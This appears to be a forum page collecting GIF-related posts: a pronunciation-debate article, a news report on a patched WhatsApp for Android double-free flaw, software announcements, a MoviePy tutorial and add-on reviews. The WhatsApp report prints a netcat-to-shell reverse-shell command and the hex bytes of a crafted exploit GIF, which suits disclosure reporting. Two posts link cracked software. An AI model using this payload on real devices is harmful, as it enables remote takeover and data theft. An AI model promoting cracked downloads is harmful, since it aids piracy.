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  1. Tip of our tongue — A peanut butter brand has put its spoon into the GIF pronunciation debate Instead of letting a brand have the final word, we called a lexicographer about it. Enlarge Aurich Lawson Last week, an email popped into my mailbox with a simple subject: "Jif vs. GIF." Its sender asked if I was interested in hearing about a peanut butter producer's interest in "setting the record straight on how to pronounce GIF." That's not quite what I got. The powers that be at Smucker's advertising department thought we at Ars Technica might bite on their proposal that a new jar of Jif would put the years-long pronunciation debate to rest. Instead, I ended up spending too much time talking about, contemplating, and researching the pronunciation of the letter G—and of other invented brands and acronyms in general. Does Wilhite have it right? If you're wondering, the J.M. Smucker Company—known on the street as Smucker's—comes down on the "hard-G" side of this debate. The company does this in order to support its latest advertising campaign that says—wouldn't you know it—the soft-G version has already existed for decades in the form of a massive peanut butter brand. Thus, the people at Smucker's say, don't mix up the two. Soft G "jiff" for food; hard G "giff" for an animated image format that came into vogue during GeoCities' heyday. They seek to differentiate by partnering with Giphy, a GIF-specific search engine that powers Twitter's default GIF-embed system, among others. This works in Jif's favor, since Giphy COO Adam Leibsohn made clear in 2015 that he pronounces both Giphy and GIF with a hard G. When I was presented with the Jif campaign's news (timed with sales of a limited-edition jar of peanut butter), I asked if I could speak with anybody who'd worked at Jif for some time and could thus weigh in on managing a brand like Jif during the era when a popular computer-imaging acronym exploded into common English vernacular. I'd hoped this conversation would add nuance to the debate over how people choose to pronounce the letter G. Instead, I received a phone call from a director of marketing at Smucker's (the corporate parents of Jif, Adam's, and other popular peanut-based spreads) who made it clear that this marketing push emerged in the past year when a new group began running Smucker's advertising campaigns. The representative dodged my pointed questions about the etymology of the acronym, particularly how the company reckons with the creator of the GIF, Steve Wilhite, affirming his original pronunciation intent during a 2013 award acceptance speech: Steve Wilhite pronounces GIF with a soft G. Jif's marketing-speak answers to my questions were mostly frustrating because Wilhite has cited this very brand of peanut butter as his reason for using the soft-G sound in the first place. Wilhite developed the GIF during his tenure as an engineer at CompuServe, back when users connected to that ISP via piddly 300bps connections. As Charlie Reading, one of Wilhite's colleagues at the time, attested in a 1997 edition of the NetBITS newsletter: Steve always pronounced it "jiff" and would correct those who pronounced it with a hard G. "Choosy developers choose GIF" (spinning off of a historically popular peanut butter commercial). Hence, you're likely to find the earliest public references to the GIF, or Graphics Interchange Format, among developer notes from CompuServe's heyday as a major American ISP. What's interesting here is that Wilhite chose a memorable reference point to reinforce how to pronounce this acronym in its youth—and to get it down to a catchier, single-syllable word than the three-syllable mess of "gee-I-eff." It's a great reminder that invented terms' acceptance hinges on an easy cultural point to grab on to. Without any other single-syllable words in the English language that start with a G and end with a combination of a soft-I and a voiceless labiodental fricative (which, in English, is best known as an "f" or a "ph"), Wilhite opted for catchy phrases to reinforce how he wanted "GIF" to roll off the tongue. (As opposed to getting stuck to the roof of your mouth, which you need to access with your tongue for the voiced velar plosive sound of a hard G.) Sticky situation If Jif wants to turn the tide of this debate, they could have opted for something a little more clever than the aforementioned limited edition bottle. I have included a brief image gallery below, which I've captioned with explanations, to make my point: First image of article image gallery. Please visit the source link to see all 3 images. Compounding the above issue, this is a limited-edition jar of peanut butter, as opposed to a nationwide supermarket launch. Thus, the J.M. Smucker Company's intended explanations will more likely be seen as itty-bitty thumbnails. To rectify this, the Jif marketing team has launched a dedicated portal at Giphy, though even this portal offers a concession to the core linguistic issue. This 7.4MB GIF resembles a Sesame Street language explainer and includes mentions of popular words that start with a soft G (giraffe, giant) before additionally listing GIF. From this point on, we have a wealth of available data and opinions on linguistics, popular use, and persnickety opinions. On the one hand, this incredible explainer from linguist Gretchen McCulloch cites a sweeping study by linguistics Professor Michael Dow. It ultimately concludes how inconclusive the English language is in determining the letter G's sound wherever it's found in a word, and each time it finds a possible trend among its studied 40,000 words, that point is refuted by another similarly common thread. "When you see a new word starting with 'gi,' your previous exposure to 'gi' words is basically telling you to flip a coin—it's just as likely that you'll decide to pronounce it with a hard g as with a soft g," McCulloch concludes. "And you'll never find an overwhelming-enough piece of counter-evidence to get you to change your mind." Passionate portals dedicated to the word's pronunciation, meanwhile, do their damnedest to insist they have the right answer. One of the oldest pages dedicated to the matter, which opens with a GeoCities-caliber GIF of its own, mostly cites Wilhite. The emergence of howtoreallypronouncegif.com in 2013, which advocates for a hard G, was met with a site that has a similar design, but a far less catchy URL, to defend the soft G. Each of these pages goes very, very deeply into the debate, and I'm skipping most of the data points (including the debate on how the sounds within an acronym's words don't necessarily translate to the acronym itself, lest you pronounce SCUBA as "scuh-ba"). “Language is a collective project” An arguably bigger debate point is acceptance within pop culture, which is much harder to pin down. The debate lacks major touchstones in Western media, while celebrity acceptance isn't conclusive, either. The hard-G side has President Barack Obama and the late Prince. The soft-G side has Alex Trebek: Trebek prefers the soft G But all of those examples came over a decade after GIFs became popular and even longer after the format's invention in the late '80s. As lexicographer and author Jane Solomon says in an interview with Ars, "Coiners of terms and brands can try to dictate how people pronounce words, but it's ultimately not in their control. Language is not owned by any one person or entity; it's a collective project. Language development is influenced by the way people actually speak, write, and communicate." What's more, the zeitgeist that created and popularized GIFs came mostly in unspoken fashion—with its biggest proponents spreading their favorites well before the smartphone era, via LiveJournal pages, fan forums, instant messaging clients, and the like. All of these required a level of Internet and computer fluency that didn't neatly translate to mass-market media like TV series or films. That's where we might have otherwise seen a popular pop-culture icon settle the GIF pronunciation debate in its infancy. Instead, GIFs took their sweet time to dominate commonplace social media platforms and messaging apps, which now live in most users' pockets around the world. And if neither Obama nor Trebek can swing the momentum at this point, we're not sure who can. Or, as Solomon points out, "I highly doubt that people who pronounce GIF with a soft G are going to suddenly switch to a hard G because of a limited-edition design of a peanut butter jar." Source: A peanut butter brand has put its spoon into the GIF pronunciation debate (Ars Technica) (To view the article's image gallery, please visit the above link)
  2. Researcher discovered a double-free vulnerability in WhatsApp for Android that could be exploited by remote attackers to execute arbitrary code on the vulnerable device. A security researcher that goes online with the moniker Awakened discovered a double-free vulnerability in WhatsApp for Android and demonstrated how to leverage on it to remotely execute arbitrary code on the target device. The expert reported the issue to Facebook that acknowledged and addressed the flaw with the release of WhatsApp version 2.19.244. The expert discovered that the flaw resides in the DDGifSlurp in decoding.c in libpl_droidsonroids_gif .so library used to generate the preview of the GIF file when a user opens Gallery view in the popular messaging application to send a media file, “When the WhatsApp Gallery is opened, the said GIF file triggers the double-free bug on rasterBits buffer with size sizeof(GifInfo). Interestingly, in WhatsApp Gallery, a GIF file is parsed twice. When the said GIF file is parsed again, another GifInfo object is created.” reads a technical analysis published by the expert. “Because of the double-free behavior in Android, GifInfo info object and info->rasterBits will point to the same address. DDGifSlurp() will then decode the first frame to info->rasterBits buffer, thus overwriting info and its rewindFunction(), which is called right at the end of DDGifSlurp() function.” The expert was able to craft a GIF file to control the PC register, then he successfully achieved remote code execution by executing the following command: system("toybox nc 192.168.2.72 4444 | sh"); The expert highlighted that it was not possible to point to system() function in libc.so, instead, it was necessary to first let PC jumps to an intermediate gadget. “we need an information disclosure vulnerability that gives us the base address of libc.so and libhwui.so. That vulnerability is not in the scope of this blogpost.” continues the expert. ” Note that the address of system() and the gadget must be replaced by the actual address found by an information disclosure vulnerability.” The expert developed the code that was able to generate a corrupted GIF file that could exploit the vulnerability. [email protected]:~/Desktop/gif$ gcc -o exploit egif_lib.c exploit.c ..... ..... ..... [email protected]:~/Desktop/gif$ ./exploit buffer = 0x7ffc586cd8b0 size = 266 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0 C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40 C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A 34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B Then he copied the content into a GIF file and send it as Document with WhatsApp to another WhatsApp user. The researcher explained that the crafted GIF file could not be sent as a Media file, because WhatsApp attempts to convert it into an MP4 before to send it. The vulnerability will be triggered when the target user that has received the malicous GIF file will open WhatsApp Gallery to send a media file to his friend. Below the attack vectors devised by the expert: Local privilege escaltion (from a user app to WhatsApp): A malicious app is installed on the Android device. The app collects addresses of zygote libraries and generates a malicious GIF file that results in code execution in WhatsApp context. This allows the malware app to steal files in WhatsApp sandbox including message database. Remote code execution: Pairing with an application that has an remote memory information disclosure vulnerability (e.g. browser), the attacker can collect the addresses of zygote libraries and craft a malicious GIF file to send it to the user via WhatsApp (must be as an attachment, not as an image through Gallery Picker). When the user opens the Gallery view in WhatsApp, the GIF file will trigger a remote shell in WhatsApp context. The exploit works for WhatsApp version 2.19.230 and prior versions, the company addressed it with the release of the version 2.19.244 The exploit works for Android 8.1 and 9.0, but the expert explained that it does not work for Android 8.0 and below. “In the older Android versions, double-free could still be triggered. However, because of the calls by the system after the double-free, the app just crashes before reaching to the point that we could control the PC register.” concludes the expert. Pierluigi Paganini SecurityAffairs – WhatsApp, hacking) Source: Security Affairs
  3. Pequi

    LICEcap 1.28

    Tiny, simple to use, and won't give you a headache to "register" like Honeycam. Not many options, but you can pause, loop, capture mouse movement and it produces very small GIFs. A good choice for software tutorials. https://www.cockos.com/licecap/ Changelog: LICEcap v1.28 for Windows (updated 12/2/17) (230kb installer) LICEcap v1.28 for OSX (12/2/17) (730kb DMG) New icon LCF: fix crash when error opening output file gif: use WDL_FileWrite to write to disk rather than fopen()/_wfopen(), lock files while writing Various WDL updates (should have improved performance on macOS) Source code: https://github.com/justinfrankel/licecap
  4. An application especially created for both amateur and professional photographers and videographers who want to create time-lapse videos Time-Lapse Tool is an application that you can use to create a time-lapse from a sequence of photos located on your computer. Using this tool, the process is a simple as it can be. To create a time-lapse all you need to do is load your photos into the application, set the framerate along with other settings and you’re ready to export the movie. The interface is very well designed, granting you quick access to all its features for an efficient workflow. With Time-Lapse Tool you can export the videos at various resolutions in formats such as Apple TV, H262, Windows Media Play 8, MPEG 4 and Motion JPEG. The different export resolutions and aspect ratios that the application provides you makes it very practical for when you need to display the movies on specific devices. Time-Lapse Tool uses exif data from the images found in a selected folder and is able to automatically group them into sets of photos from which you can create the time-lapse. This is a very practical feature because a timelapse is often composed out of hundreds if not thousands of photos and you don’t want to pick each one. Homepage:http://timelapsetool.com Download setup+crack from URET TEAM: Site: https://yadi.sk Sharecode[?]: /d/u2A2qJHZ3NymAK
  5. selesn777

    Screen GIF 1.4 + Portable

    Screen GIF 1.4 + Portable Screen GIF - this program allows you to capture GIF images directly from your screen. Anything which occur in your screen can be easly captured by Screen GIF and then saved it directly as a GIF animated image. All in an extremelly easy to use program interface really simple and powerful.Screen GIF works with Windows 7 and Windows 8. Windows is a registered trademark of Microsoft Corporation in the United States and other countries. Screen GIF main features Website: http://screengif.com/ OS: Windows 7 / 8 Language: Eng / Esp Medicine: Crack Size: 3,36 / 3,86 Mb.
  6. ThunderSoft Video to GIF Converter 1.3.1 + Portable ThunderSoft Video to GIF Converter is a handy tool for making animated gif from video files. Preview original video frame by frame, easy crop and specify video clip, convert to gif with high quality. It allows setting gif play speed, replay times and also resizing. The input file supports various popular video formats, such as mp4, avi, mpg, wmv, flv, mov, vob, mkv, rmvb, etc. The software interface is very user-friendly and easy-to-use. Feature List Preview original video frame by frame.Easy crop and specify video clip accurately.Allow delete unwanted frames.Allow Change gif play speed, replay times.Supports almost all popular video formats, such as mp4, avi, mpg, wmv, flv, mov, vob, mkv, rmvb, etc.Preview output file after conversion.Homepage: http://www.thundershare.net OS: 2000 / 2003 / XP / Vista / 7 / 8 Language: Eng / Rus Size: 30,30 MB
  7. By Zulko •Jan 23rd, 2014 Sometimes producing a good animated GIF requires a few advanced tweaks, for which scripting can help. So I added a GIF export feature to MoviePy, a Python package originally written for video editing. For this demo we will make a few GIFs out of this trailer: Converting a video excerpt into a GIF In what follows we import MoviePy, we open the video file, we select the part between 1’22.65 (1 minute 22.65 seconds) and 1’23.2, reduce its size (to 30% of the original) and save it as a GIF: Cropping the image For my next GIF I will only keep the center of the screen. If you intend to use MoviePy, note that you can preview a clip with clip.preview(). During the preview clicking on a pixel will print its position, which is convenient for cropping with precision. Freezing a region Many GIF makers like to freeze some parts of the GIF to reduce the file size and/or focus the attention on one part of the animation. In the next GIF we freeze the left part of the clip. To do so we take a snapshot of the clip at t=0.2 seconds, we crop this snapshot to only keep the left half, then we make a composite clip which superimposes the cropped snapshot on the original clip: Freezing a more complicated region This time we will apply a custom mask to the snapshot to specify where it will be transparent (and let the animated part appear) . Time-symetrization Surely you have noticed that in the previous GIFs, the end did not always look like the beginning. As a consequence, you could see a disruption every time the animation was restarted. A way to avoid this is to time-symetrize the clip, i.e. to make the clip play once forwards, then once backwards. This way the end of the clip really is the beginning of the clip. This creates a GIF that can loop fluidly, without a real beginning or end. Ok, this might be a bad example of time symetrization,it makes the snow flakes go upwards in the second half of the animation. Adding some text In the next GIF there will be a text clip superimposed on the video clip. Making the gif loopable The following GIF features a lot of snow falling. Therefore it cannot be made loopable using time-symetrization (or you will snow floating upwards !). So we will make this animation loopable by having the beginning of the animation appear progressively (fade in) just before the end of the clip. The montage here is a little complicated, I cannot explain it better than with this picture: Another example of a GIF made loopable The next clip (from the movie Charade) was almost loopable: you can see Carry Grant smiling, then making a funny face, then coming back to normal. The problem is that at the end of the excerpt Cary is not exactly in the same position, and he is not smiling as he was at the beginning. To correct this, we take a snapshot of the first frame and we make it appear progressively at the end. This seems to do the trick. Big finish: removing the background Let us dive further into the scripting madness: we consider this video around 2’16: http://www.youtube.com/watch?v=_wZjCDXDNLI And we will remove the background to make this gif (with transparent background): The main difficulty was to find what the background of the scene is. To do so, the script gathers a few images in which the little pigs are are different positions (so that every part part of the background is visible on at least several (actually most) of the slides, then it takes the pixel-per-pixel median of these pictures, which gives the background. Source
  8. Prashant Prabhu On 7th February, 2014 Tired of animated GIF images that take forever to load? Check out these Firefox addons, which make the wait bearable. Or, if you’ve spotted a video that could be the next viral GIF on the Web, read on for an addon that lets you convert HTML5 videos to GIFs. We’ve got alternatives for Google Chrome, too GIF Delayer A GIF that hasn’t finished downloading often starts from the beginning and keeps playing in loop. GIF Delayer helps you avoid these headache-inducing short loops by hiding the image until it has been downloaded completely. Once you install the addon, there will be blank spaces where GIFs be – until they load. The extension isn’t perfect: a frame or a “loading” symbol would improve things, because you’d know where the GIFs are going to be. It also may not work well if you have a slow Internet connection (less than 1 Mbps). When I opened multiple GIF images on a slow connection, a couple failed to download outright. I did not face this issue when I opened one GIF at a time, or when I switched to a faster connection. The extension also doesn’t work in private browsing mode. Still, if unfinished GIFs really bother you, this extension is great. You can also get GIF Delayer for Chrome. Toggle Animated GIFs If GIF Delayer’s limitations are a deal-breaker for you, Toggle Animated GIFs is a simple, yet effective, alternative. Just press ctrl+M (or shift+M) to pause all GIFs on any webpage. When the page has finished loading, hit the same keys again to play the GIFs. The above is enabled by default – the addon also allows you to pause all GIFs by default, then toggle play/pause with just a click. An alternative to this is ESCapeFromThemGIFs, which lets you pause or resume GIFs by hitting the Esc key. However, the Esc key also stops pages from loading in Firefox, so it might cause problems. Chrome users can instead check out Stop Animations. MakeGIF Video Capture This addon converts HTML5 videos from any website to GIF images. All you have to do is right-click on the background (any blank space will do) and click “Convert To GIF”. A prompt will appear on the top-right of the browser to let you select the quality of the GIF, number of frames, etc. Once that is done, hit start. I created a 200-frame GIF from a YouTube video in 15 seconds. You can save the GIF to your computer or upload it to MakeGIF.com (4 MB upload limit) if you want to share it. Non-Firefox fans should check out MakeGIF Video Capture for Chrome. Or, if you don’t mind leaving the browser window to create GIF images, check out this Photoshop CS5 tutorial to make animated GIFs, or use GifCam, the easiest way to create animated GIFs. Which addons or apps do you use to create or manage GIF images? Leave a comment so others can find out. Source Title has been modified as Chrome is also covered in.
  9. Giveaway Product: WonderFox SWF to GIF Converter + SmartPixel Video Editor Original Price: SWF to GIF – $19.90/CopySmartPixel Video Editor –$15.90/Yearly CopyGiveaway Amount: SWF to GIF – Unlimited, SmartPixel Video Editor – 70 Copies Giveaway Period: 2013.1.8 – 2013.1.14 Giveaway Page: http://www.videoconverterfactory.com/swf-to-gif-converter/ Product Introduction: WonderFox SWF to GIF Converter is a fun and handy to transform SWF videos into GIF animations. With this software, you just need few clicks to complete the converting process. You can also capture any frame and save it to all popular image formats such as GIF JPG, BMP, PNG, TGA, etc. As for Smartpixel, it is the best free screen capture software and easy video editing software. Its powerful screen capturing and video editing tools could help people easily make professional tutorial videos, game videos, webcam videos and home videos in 1080P HD quality to upload to YouTube.
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